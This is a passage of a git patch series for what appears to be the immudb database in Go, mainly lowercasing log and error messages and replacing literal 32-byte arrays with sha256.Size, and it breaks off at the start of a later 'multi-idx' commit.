cleanupPercentageHint, cleanupPercentage) if sync { err = t.cLog.Sync() if err != nil { - return 0, 0, t.wrapNwarn("Syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } t.insertionCountSinceSync = 0 - t.logger.Infof("Index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} successfully synced", + t.logger.Infof("index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} successfully synced", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage) // prevent discarding data referenced by opened snapshots @@ -1190,31 +1190,31 @@ func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceC } if discardableNLogOffset > t.minOffset { - t.logger.Infof("Discarding unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, current_min_offset=%d, new_min_offset=%d}...", + t.logger.Infof("discarding unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, current_min_offset=%d, new_min_offset=%d}...", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, t.minOffset, actualNewMinOffset) err = t.nLog.DiscardUpto(discardableNLogOffset) if err != nil { - t.logger.Warningf("Discarding unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + t.logger.Warningf("discarding unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } metricsBtreeNodesDataBeginOffset.WithLabelValues(t.path).Set(float64(discardableNLogOffset)) - t.logger.Infof("Unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, current_min_offset=%d, new_min_offset=%d} successfully discarded", + t.logger.Infof("unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, current_min_offset=%d, new_min_offset=%d} successfully discarded", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, t.minOffset, actualNewMinOffset) } discardableCommitLogOffset := t.committedLogSize - int64(cLogEntrySize*len(t.snapshots)+1) if discardableCommitLogOffset > 0 { - t.logger.Infof("Discarding older snapshots at index '%s' {ts=%d, opened_snapshots=%d}...", t.path, t.root.ts(), len(t.snapshots)) + t.logger.Infof("discarding older snapshots at index '%s' {ts=%d, opened_snapshots=%d}...", t.path, t.root.ts(), len(t.snapshots)) err = t.cLog.DiscardUpto(discardableCommitLogOffset) if err != nil { - t.logger.Warningf("Discarding older snapshots at index '%s' {ts=%d, opened_snapshots=%d} returned: %v", t.path, t.root.ts(), len(t.snapshots), err) + t.logger.Warningf("discarding older snapshots at index '%s' {ts=%d, opened_snapshots=%d} returned: %v", t.path, t.root.ts(), len(t.snapshots), err) } - t.logger.Infof("Older snapshots at index '%s' {ts=%d, opened_snapshots=%d} successfully discarded", t.path, t.root.ts(), len(t.snapshots)) + t.logger.Infof("older snapshots at index '%s' {ts=%d, opened_snapshots=%d} successfully discarded", t.path, t.root.ts(), len(t.snapshots)) } } @@ -1344,7 +1344,7 @@ func (t *TBtree) Compact() (uint64, error) { t.rwmutex.Unlock() defer t.rwmutex.Lock() - t.logger.Infof("Dumping index '%s' {ts=%d}...", t.path, snap.Ts()) + t.logger.Infof("dumping index '%s' {ts=%d}...", t.path, snap.Ts()) progressOutput, finishOutput := t.buildWriteProgressOutput( metricsCompactedNodesLastCycle, @@ -1359,10 +1359,10 @@ func (t *TBtree) Compact() (uint64, error) { err = t.fullDump(snap, progressOutput) if err != nil { - return 0, t.wrapNwarn("Dumping index '%s' {ts=%d} returned: %v", t.path, snap.Ts(), err) + return 0, t.wrapNwarn("dumping index '%s' {ts=%d} returned: %v", t.path, snap.Ts(), err) } - t.logger.Infof("Index '%s' {ts=%d} successfully dumped", t.path, snap.Ts()) + t.logger.Infof("index '%s' {ts=%d} successfully dumped", t.path, snap.Ts()) return snap.Ts(), nil } @@ -1488,7 +1488,7 @@ func (t *TBtree) fullDumpTo(snapshot *Snapshot, nLog, cLog appendable.Appendable } func (t *TBtree) Close() error { - t.logger.Infof("Closing index '%s' {ts=%d}...", t.path, t.root.ts()) + t.logger.Infof("closing index '%s' {ts=%d}...", t.path, t.root.ts()) t.rwmutex.Lock() defer t.rwmutex.Unlock() @@ -1519,10 +1519,10 @@ func (t *TBtree) Close() error { err = merrors.Reduce() if err != nil { - return t.wrapNwarn("Closing index '%s' {ts=%d} returned: %v", t.path, t.root.ts(), err) + return t.wrapNwarn("closing index '%s' {ts=%d} returned: %v", t.path, t.root.ts(), err) } - t.logger.Infof("Index '%s' {ts=%d} successfully closed", t.path, t.root.ts()) + t.logger.Infof("index '%s' {ts=%d} successfully closed", t.path, t.root.ts()) return nil } diff --git a/pkg/api/schema/ops.go b/pkg/api/schema/ops.go index 8e794e999b..a2dae9a45d 100644 --- a/pkg/api/schema/ops.go +++ b/pkg/api/schema/ops.go @@ -30,7 +30,7 @@ func (m *ExecAllRequest) Validate() error { if len(m.GetOperations()) == 0 { return ErrEmptySet } - mops := make(map[[32]byte]struct{}, len(m.GetOperations())) + mops := make(map[[sha256.Size]byte]struct{}, len(m.GetOperations())) for _, op := range m.Operations { if op == nil { diff --git a/pkg/database/database.go b/pkg/database/database.go index 3e8b2bafa8..425e338bfb 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -175,7 +175,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, fmt.Errorf("%w: invalid database name provided '%s'", ErrIllegalArguments, dbName) } - log.Infof("Opening database '%s' {replica = %v}...", dbName, op.replica) + log.Infof("opening database '%s' {replica = %v}...", dbName, op.replica) var replicaStates map[uuid]*replicaState // replica states are only managed in primary with synchronous replication @@ -204,10 +204,10 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.st, err = store.Open(dbDir, stOpts) if err != nil { - return nil, logErr(dbi.Logger, "Unable to open database: %s", err) + return nil, logErr(dbi.Logger, "unable to open database: %s", err) } - dbi.Logger.Infof("Loading SQL Engine for database '%s' {replica = %v}...", dbName, op.replica) + dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, op.replica) sqlOpts := sql.DefaultOptions(). WithPrefix([]byte{SQLPrefix}). @@ -215,27 +215,29 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) if err != nil { - dbi.Logger.Errorf("Unable to load SQL Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) + dbi.Logger.Errorf("unable to load sql-engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) return nil, err } + dbi.Logger.Infof("sql-engine ready for database '%s' {replica = %v}", dbName, op.replica) dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, err } + dbi.Logger.Infof("document-engine ready for database '%s' {replica = %v}", dbName, op.replica) txPool, err := dbi.st.NewTxHolderPool(op.readTxPoolSize, false) if err != nil { - return nil, logErr(dbi.Logger, "Unable to create tx pool: %s", err) + return nil, logErr(dbi.Logger, "unable to create tx pool: %s", err) } dbi.txPool = txPool if op.replica { - dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) + dbi.Logger.Infof("database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil } - dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) + dbi.Logger.Infof("database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil } @@ -262,7 +264,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, fmt.Errorf("%w: invalid database name provided '%s'", ErrIllegalArguments, dbName) } - log.Infof("Creating database '%s' {replica = %v}...", dbName, op.replica) + log.Infof("creating database '%s' {replica = %v}...", dbName, op.replica) var replicaStates map[uuid]*replicaState // replica states are only managed in primary with synchronous replication @@ -283,11 +285,11 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo _, err := os.Stat(dbDir) if err == nil { - return nil, fmt.Errorf("Database directories already exist: %s", dbDir) + return nil, fmt.Errorf("database directories already exist: %s", dbDir) } if err = os.MkdirAll(dbDir, os.ModePerm); err != nil { - return nil, logErr(dbi.Logger, "Unable to create data folder: %s", err) + return nil, logErr(dbi.Logger, "unable to create data folder: %s", err) } stOpts := op.GetStoreOptions(). @@ -296,12 +298,12 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo dbi.st, err = store.Open(dbDir, stOpts) if err != nil { - return nil, logErr(dbi.Logger, "Unable to open database: %s", err) + return nil, logErr(dbi.Logger, "unable to open database: %s", err) } txPool, err := dbi.st.NewTxHolderPool(op.readTxPoolSize, false) if err != nil { - return nil, logErr(dbi.Logger, "Unable to create tx pool: %s", err) + return nil, logErr(dbi.Logger, "unable to create tx pool: %s", err) } dbi.txPool = txPool @@ -309,22 +311,22 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo WithPrefix([]byte{SQLPrefix}). WithMultiDBHandler(multidbHandler) - dbi.Logger.Infof("Loading SQL Engine for database '%s' {replica = %v}...", dbName, op.replica) + dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, op.replica) dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) if err != nil { - dbi.Logger.Errorf("Unable to load SQL Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) + dbi.Logger.Errorf("unable to load sql-engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) return nil, err } + dbi.Logger.Infof("sql-engine ready for database '%s' {replica = %v}", dbName, op.replica) dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } + dbi.Logger.Infof("document-engine ready for database '%s' {replica = %v}", dbName, op.replica) - dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) - - dbi.Logger.Infof("Database '%s' successfully created {replica = %v}", dbName, op.replica) + dbi.Logger.Infof("database '%s' successfully created {replica = %v}", dbName, op.replica) return dbi, nil } @@ -897,12 +899,12 @@ func (d *db) Size() (uint64, error) { // Count ... func (d *db) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) { - return nil, fmt.Errorf("Functionality not yet supported: %s", "Count") + return nil, fmt.Errorf("functionality not yet supported: %s", "Count") } // CountAll ... func (d *db) CountAll(ctx context.Context) (*schema.EntryCount, error) { - return nil, fmt.Errorf("Functionality not yet supported: %s", "Count") + return nil, fmt.Errorf("functionality not yet supported: %s", "Count") } // TxByID ... @@ -1572,11 +1574,11 @@ func (d *db) Close() (err error) { d.closingMutex.Lock() defer d.closingMutex.Unlock() - d.Logger.Infof("Closing database '%s'...", d.name) + d.Logger.Infof("closing database '%s'...", d.name) defer func() { if err == nil { - d.Logger.Infof("Database '%s' succesfully closed", d.name) + d.Logger.Infof("database '%s' succesfully closed", d.name) } else { d.Logger.Infof("%v: while closing database '%s'", err, d.name) } diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index a4cef9025c..8bb75f75f2 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -18,6 +18,7 @@ package database import ( "context" + "crypto/sha256" "fmt" "sort" "sync" @@ -43,13 +44,13 @@ func decodeOffset(offset int64) (byte, int64) { func Test_vlogCompactor_Compact(t *testing.T) { entries := []*store.TxEntry{} entries = append(entries, - store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(3, 12)), - store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(3, 2)), - store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(2, 1)), - store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(3, 1)), - store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(4, 2)), - store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(1, 3)), - store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(1, 2)), + store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(3, 12)), + store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(3, 2)), + store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(2, 1)), + store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(3, 1)), + store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(4, 2)), + store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(1, 3)), + store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(1, 2)), ) sort.Slice(entries, func(i, j int) bool { v1, o1 := decodeOffset(entries[i].VOff()) diff --git a/pkg/server/server.go b/pkg/server/server.go index 26e79a9a13..05f25e3d1f 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -126,29 +126,29 @@ func (s *ImmuServer) Initialize() error { err = s.initializeRemoteStorage(s.remoteStorage) if err != nil { - return logErr(s.Logger, "Unable to initialize remote storage: %v", err) + return logErr(s.Logger, "unable to initialize remote storage: %v", err) } if err = s.loadSystemDatabase(dataDir, s.remoteStorage, adminPassword, s.Options.ForceAdminPassword); err != nil { - return logErr(s.Logger, "Unable to load system database: %v", err) + return logErr(s.Logger, "unable to load system database: %v", err) } if err = s.loadDefaultDatabase(dataDir, s.remoteStorage); err != nil { - return logErr(s.Logger, "Unable to load default database: %v", err) + return logErr(s.Logger, "unable to load default database: %v", err) } defaultDB, _ := s.dbList.GetByIndex(defaultDbIndex) dbSize, _ := defaultDB.Size() if dbSize <= 1 { - s.Logger.Infof("Started with an empty default database") + s.Logger.Infof("started with an empty default database") } if s.sysDB.IsReplica() { - s.Logger.Infof("Recovery mode. Only '%s' and '%s' databases are loaded", SystemDBName, DefaultDBName) + s.Logger.Infof("recovery mode. Only '%s' and '%s' databases are loaded", SystemDBName, DefaultDBName) } else { if err = s.loadUserDatabases(dataDir, s.remoteStorage); err != nil { - return logErr(s.Logger, "Unable load databases: %v", err) + return logErr(s.Logger, "unable load databases: %v", err) } } @@ -169,26 +169,26 @@ func (s *ImmuServer) Initialize() error { if s.Options.SigningKey != "" { if signer, err := signer.NewSigner(s.Options.SigningKey); err != nil { - return logErr(s.Logger, "Unable to configure the cryptographic signer: %v", err) + return logErr(s.Logger, "unable to configure the cryptographic signer: %v", err) } else { s.StateSigner = NewStateSigner(signer) } } if s.Options.usingCustomListener { - s.Logger.Infof("Using custom listener") + s.Logger.Infof("using custom listener") s.Listener = s.Options.listener } else { s.Listener, err = net.Listen(s.Options.Network, s.Options.Bind()) if err != nil { - return logErr(s.Logger, "Immudb unable to listen: %v", err) + return logErr(s.Logger, "immudb unable to listen: %v", err) } } if s.remoteStorage != nil { err := s.updateRemoteUUID(s.remoteStorage) if err != nil { - return logErr(s.Logger, "Unable to persist uuid on the remote storage: %v", err) + return logErr(s.Logger, "unable to persist uuid on the remote storage: %v", err) } } @@ -274,7 +274,7 @@ func (s *ImmuServer) Start() (err error) { s.Options.PProf) defer func() { if err := s.metricsServer.Close(); err != nil { - s.Logger.Errorf("Failed to shutdown metric server: %s", err) + s.Logger.Errorf("failed to shutdown metric server: %s", err) } }() } @@ -305,11 +305,11 @@ func (s *ImmuServer) Start() (err error) { if s.Options.WebServer { if err := s.setUpWebServer(context.Background()); err != nil { - log.Fatal(fmt.Sprintf("Failed to setup web API/console server: %v", err)) + log.Fatal(fmt.Sprintf("failed to setup web API/console server: %v", err)) } defer func() { if err := s.webServer.Close(); err != nil { - s.Logger.Errorf("Failed to shutdown web API/console server: %s", err) + s.Logger.Errorf("failed to shutdown web API/console server: %s", err) } }() } @@ -334,7 +334,7 @@ func (s *ImmuServer) setupPidFile() error { var err error if s.Options.Pidfile != "" { if s.Pid, err = NewPid(s.Options.Pidfile, s.OS); err != nil { - return logErr(s.Logger, "Failed to write pidfile: %s", err) + return logErr(s.Logger, "failed to write pidfile: %s", err) } } return err @@ -366,13 +366,13 @@ func (s *ImmuServer) printUsageCallToAction() { // This is to avoid mixing text output with json in case the log output is piped if (s.Options.IsJSONLogger() && s.Options.IsFileLogger()) || !s.Options.IsJSONLogger() { fmt.Fprintf(os.Stdout, - "%sYou can now use %s and %s CLIs to login with the %s superadmin user and start using immudb.%s\n", + "%syou can now use %s and %s CLIs to login with the %s superadmin user and start using immudb.%s\n", helper.Green, immuadminCLI, immuclientCLI, defaultUsername, helper.Reset) } if s.Options.IsFileLogger() { s.Logger.Infof( - "You can now use immuadmin and immuclient CLIs to login with the %s superadmin user and start using immudb.\n", + "you can now use immuadmin and immuclient CLIs to login with the %s superadmin user and start using immudb.\n", auth.SysAdminUsername) } } @@ -427,7 +427,7 @@ func (s *ImmuServer) loadSystemDatabase( if err == nil { s.sysDB, err = database.OpenDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) if err != nil { - s.Logger.Errorf("Database '%s' was not correctly initialized.\n"+ + s.Logger.Errorf("database '%s' was not correctly initialized.\n"+ "Use replication to recover from external source or start without data folder.", dbOpts.Database) return err } @@ -435,27 +435,27 @@ func (s *ImmuServer) loadSystemDatabase( if forceAdminPasswordReset { changed, err := s.resetAdminPassword(context.Background(), adminPassword) if err != nil { - s.Logger.Errorf("Can not reset admin password, %v", err) + s.Logger.Errorf("can not reset admin password, %v", err) return ErrCantUpdateAdminPassword } if changed { - s.Logger.Warningf("Admin password was reset to the value specified in options") + s.Logger.Warningf("admin password was reset to the value specified in options") } else { - s.Logger.Infof("Admin password update was not needed") + s.Logger.Infof("admin password update was not needed") } } else if adminPassword != auth.SysAdminPassword { // Add warning that the password is not changed even though manually specified user, err := s.getUser(context.Background(), []byte(auth.SysAdminUsername)) if err != nil { - s.Logger.Errorf("Can not validate admin user: %v", err) + s.Logger.Errorf("can not validate admin user: %v", err) return err } err = user.ComparePasswords([]byte(adminPassword)) if err != nil { s.Logger.Warningf( - "Admin password was not updated, " + + "admin password was not updated, " + "use the force-admin-password option to forcibly reset it", ) } @@ -464,7 +464,7 @@ func (s *ImmuServer) loadSystemDatabase( if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(s.sysDB, dbOpts) if err != nil { - s.Logger.Errorf("Error starting replication for database '%s'. Reason: %v", s.sysDB.GetName(), err) + s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", s.sysDB.GetName(), err) } } @@ -493,13 +493,13 @@ func (s *ImmuServer) loadSystemDatabase( s.sysDB.SetSyncReplication(true) } - s.Logger.Infof("Admin user '%s' successfully created", adminUsername) + s.Logger.Infof("admin user '%s' successfully created", adminUsername) } if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(s.sysDB, dbOpts) if err != nil { - s.Logger.Errorf("Error starting replication for database '%s'. Reason: %v", s.sysDB.GetName(), err) + s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", s.sysDB.GetName(), err) } } @@ -523,7 +523,7 @@ func (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotesto if err == nil { db, err := database.OpenDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) if err != nil { - s.Logger.Errorf("Database '%s' was not correctly initialized.\n"+ + s.Logger.Errorf("database '%s' was not correctly initialized.\n"+ "Use replication to recover from external source or start without data folder.", dbOpts.Database) return err } @@ -531,7 +531,7 @@ func (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotesto if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) if err != nil { - s.Logger.Errorf("Error starting replication for database '%s'. Reason: %v", db.GetName(), err) + s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", db.GetName(), err) } } @@ -552,7 +552,7 @@ func (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotesto if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) if err != nil { - s.Logger.Errorf("Error starting replication for database '%s'. Reason: %v", db.GetName(), err) + s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", db.GetName(), err) } } @@ -593,7 +593,7 @@ func (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestora } if !dbOpts.Autoload.isEnabled() { - s.Logger.Infof("Database '%s' is closed (autoload is disabled)", dbname) + s.Logger.Infof("database '%s' is closed (autoload is disabled)", dbname) s.dbList.Put(&closedDB{name: dbname, opts: s.databaseOptionsFrom(dbOpts)}) continue } @@ -602,7 +602,7 @@ func (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestora db, err := database.OpenDB(dbname, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) if err != nil { - s.Logger.Errorf("Database '%s' could not be loaded. Reason: %v", dbname, err) + s.Logger.Errorf("database '%s' could not be loaded. Reason: %v", dbname, err) s.dbList.Put(&closedDB{name: dbname, opts: s.databaseOptionsFrom(dbOpts)}) continue } @@ -610,14 +610,14 @@ func (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestora if dbOpts.isReplicatorRequired() { err = s.startReplicationFor(db, dbOpts) if err != nil { - s.Logger.Errorf("Error starting replication for database '%s'. Reason: %v", db.GetName(), err) + s.Logger.Errorf("error starting replication for database '%s'. Reason: %v", db.GetName(), err) } } if dbOpts.isDataRetentionEnabled() { err = s.startTruncatorFor(db, dbOpts) if err != nil { - s.Logger.Errorf("Error starting truncation for database '%s'. Reason: %v", db.GetName(), err) + s.Logger.Errorf("error starting truncation for database '%s'. Reason: %v", db.GetName(), err) } } @@ -637,7 +637,7 @@ func (s *ImmuServer) replicationInProgressFor(db string) bool { func (s *ImmuServer) startReplicationFor(db database.DB, dbOpts *dbOptions) error { if !dbOpts.isReplicatorRequired() { - s.Logger.Infof("Replication for database '%s' is not required.", db.GetName()) + s.Logger.Infof("replication for database '%s' is not required.", db.GetName()) return ErrReplicatorNotNeeded } @@ -701,7 +701,7 @@ func (s *ImmuServer) stopReplication() { for db, f := range s.replicators { err := f.Stop() if err != nil { - s.Logger.Warningf("Error stopping replication for '%s'. Reason: %v", db, err) + s.Logger.Warningf("error stopping replication for '%s'. Reason: %v", db, err) } } } @@ -711,7 +711,7 @@ func (s *ImmuServer) Stop() error { s.mux.Lock() defer s.mux.Unlock() - s.Logger.Infof("Stopping immudb:\n%v", s.Options) + s.Logger.Infof("stopping immudb:\n%v", s.Options) defer func() { s.quit <- struct{}{} }() @@ -810,11 +810,11 @@ func (s *ImmuServer) installShutdownHandler() { go func() { <-c - s.Logger.Infof("Caught SIGTERM") + s.Logger.Infof("caught SIGTERM") if err := s.Stop(); err != nil { - s.Logger.Errorf("Shutdown error: %v", err) + s.Logger.Errorf("shutdown error: %v", err) } - s.Logger.Infof("Shutdown completed") + s.Logger.Infof("shutdown completed") }() } @@ -855,13 +855,13 @@ func (s *ImmuServer) CreateDatabaseV2(ctx context.Context, req *schema.CreateDat return nil, ErrIllegalArguments } - s.Logger.Infof("Creating database '%s'...", req.Name) + s.Logger.Infof("creating database '%s'...", req.Name) defer func() { if err == nil { - s.Logger.Infof("Database '%s' succesfully created", req.Name) + s.Logger.Infof("database '%s' succesfully created", req.Name) } else { - s.Logger.Infof("Database '%s' could not be created. Reason: %v", req.Name, err) + s.Logger.Infof("database '%s' could not be created. Reason: %v", req.Name, err) } }() @@ -957,13 +957,13 @@ func (s *ImmuServer) LoadDatabase(ctx context.Context, req *schema.LoadDatabaseR return nil, ErrIllegalArguments } - s.Logger.Infof("Loadinig database '%s'...", req.Database) + s.Logger.Infof("loadinig database '%s'...", req.Database) defer func() { if err == nil { - s.Logger.Infof("Database '%s' succesfully loaded", req.Database) + s.Logger.Infof("database '%s' succesfully loaded", req.Database) } else { - s.Logger.Infof("Database '%s' could not be loaded. Reason: %v", req.Database, err) + s.Logger.Infof("database '%s' could not be loaded. Reason: %v", req.Database, err) } }() @@ -1035,13 +1035,13 @@ func (s *ImmuServer) UnloadDatabase(ctx context.Context, req *schema.UnloadDatab return nil, ErrIllegalArguments } - s.Logger.Infof("Unloading database '%s'...", req.Database) + s.Logger.Infof("unloading database '%s'...", req.Database) defer func() { if err == nil { - s.Logger.Infof("Database '%s' succesfully unloaded", req.Database) + s.Logger.Infof("database '%s' succesfully unloaded", req.Database) } else { - s.Logger.Infof("Database '%s' could not be unloaded. Reason: %v", req.Database, err) + s.Logger.Infof("database '%s' could not be unloaded. Reason: %v", req.Database, err) } }() @@ -1110,13 +1110,13 @@ func (s *ImmuServer) DeleteDatabase(ctx context.Context, req *schema.DeleteDatab return nil, ErrIllegalArguments } - s.Logger.Infof("Deleting database '%s'...", req.Database) + s.Logger.Infof("deleting database '%s'...", req.Database) defer func() { if err == nil { - s.Logger.Infof("Database '%s' succesfully deleted", req.Database) + s.Logger.Infof("database '%s' succesfully deleted", req.Database) } else { - s.Logger.Infof("Database '%s' could not be deleted. Reason: %v", req.Database, err) + s.Logger.Infof("database '%s' could not be deleted. Reason: %v", req.Database, err) } }() @@ -1185,13 +1185,13 @@ func (s *ImmuServer) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDat return nil, ErrIllegalArguments } - s.Logger.Infof("Updating database settings for '%s'...", req.Database) + s.Logger.Infof("updating database settings for '%s'...", req.Database) defer func() { if err == nil { - s.Logger.Infof("Database '%s' succesfully updated", req.Database) + s.Logger.Infof("database '%s' succesfully updated", req.Database) } else { - s.Logger.Infof("Database '%s' could not be updated. Reason: %v", req.Database, err) + s.Logger.Infof("database '%s' could not be updated. Reason: %v", req.Database, err) } }() @@ -1632,13 +1632,13 @@ func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateD return nil, ErrIllegalArguments } - s.Logger.Infof("Truncating database '%s'...", req.Database) + s.Logger.Infof("truncating database '%s'...", req.Database) defer func() { if err == nil { - s.Logger.Infof("Database '%s' succesfully truncated", req.Database) + s.Logger.Infof("database '%s' succesfully truncated", req.Database) } else { - s.Logger.Infof("Database '%s' could not be truncated. Reason: %v", req.Database, err) + s.Logger.Infof("database '%s' could not be truncated. Reason: %v", req.Database, err) } }() diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index a609c6af78..5b81b80a7d 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -88,17 +88,17 @@ func startWebServer(ctx context.Context, grpcAddr string, httpAddr string, tlsCo go func() { var err error if tlsConfig != nil && len(tlsConfig.Certificates) > 0 { - l.Infof("Web API server enabled on %s/api (https)", httpAddr) + l.Infof("web-api server enabled on %s/api (https)", httpAddr) err = httpServer.ListenAndServeTLS("", "") } else { - l.Infof("Web API server enabled on %s/api (http)", httpAddr) + l.Infof("web-api server enabled on %s/api (http)", httpAddr) err = httpServer.ListenAndServe() } if err == http.ErrServerClosed { - l.Debugf("Web API/console server closed") + l.Debugf("web-api/console server closed") } else { - l.Errorf("Web API/console error: %s", err) + l.Errorf("web-api/console error: %s", err) } }() diff --git a/tools/testing/stress_tool_test_kv/stress_tool_kv.go b/tools/testing/stress_tool_test_kv/stress_tool_kv.go index 6a9216d35c..c270e5a445 100644 --- a/tools/testing/stress_tool_test_kv/stress_tool_kv.go +++ b/tools/testing/stress_tool_test_kv/stress_tool_kv.go @@ -89,8 +89,8 @@ func testRun( } defer cl.CloseSession(ctx) - var seedKey [32]byte - var seedVal [32]byte + var seedKey [sha256.Size]byte + var seedVal [sha256.Size]byte s := sha256.Sum256([]byte(fmt.Sprintf("keyseed_%d_%d", seed, instance))) copy(seedKey[:], s[:]) @@ -98,7 +98,7 @@ func testRun( copy(seedVal[:], s[:]) key := func(i int) []byte { - var b [32]byte + var b [8]byte copy(b[:], seedKey[:]) binary.BigEndian.PutUint64(b[:], uint64(i)) k := sha256.Sum256(b[:]) @@ -117,7 +117,7 @@ func testRun( } val := func(i int) []byte { - var b [32]byte + var b [8]byte copy(b[:], seedVal[:]) binary.BigEndian.PutUint64(b[:], uint64(i)) k := sha256.Sum256(b[:]) diff --git a/webconsole/webconsole_default.go b/webconsole/webconsole_default.go index 52198ffa40..af85776ff4 100644 --- a/webconsole/webconsole_default.go +++ b/webconsole/webconsole_default.go @@ -19,7 +19,7 @@ func SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error { if err != nil { return err } - l.Infof("Webconsole not built-in") + l.Infof("webconsole not built-in") mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { http.Redirect(w, r, "/missing/", http.StatusTemporaryRedirect) }) From c4e55167c65bbb20faaf477a4619d18084d1dfbd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 7 Aug 2023 18:47:58 -0300 Subject: [PATCH 0728/1062] wip: embedded/store multi-idx Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 49 ++++++++---- embedded/store/meta_state.go | 3 +- embedded/store/ongoing_tx.go | 144 ++++++++++++++++++++-------------- embedded/store/tx_metadata.go | 3 +- 4 files changed, 124 insertions(+), 75 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index f310241b04..874a67230e 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -860,7 +860,7 @@ func (s *ImmuStore) GetWithFilters(key []byte, indexID int, filters ...FilterFn) indexedVal, tx, hc, err := indexer.Get(key) if err != nil { - return nil, err + return nil, err } valRef, err = s.valueRefFrom(tx, hc, indexedVal) @@ -951,8 +951,13 @@ func (s *ImmuStore) NewTxHolderPool(poolSize int, preallocated bool) (TxPool, er }) } -func (s *ImmuStore) 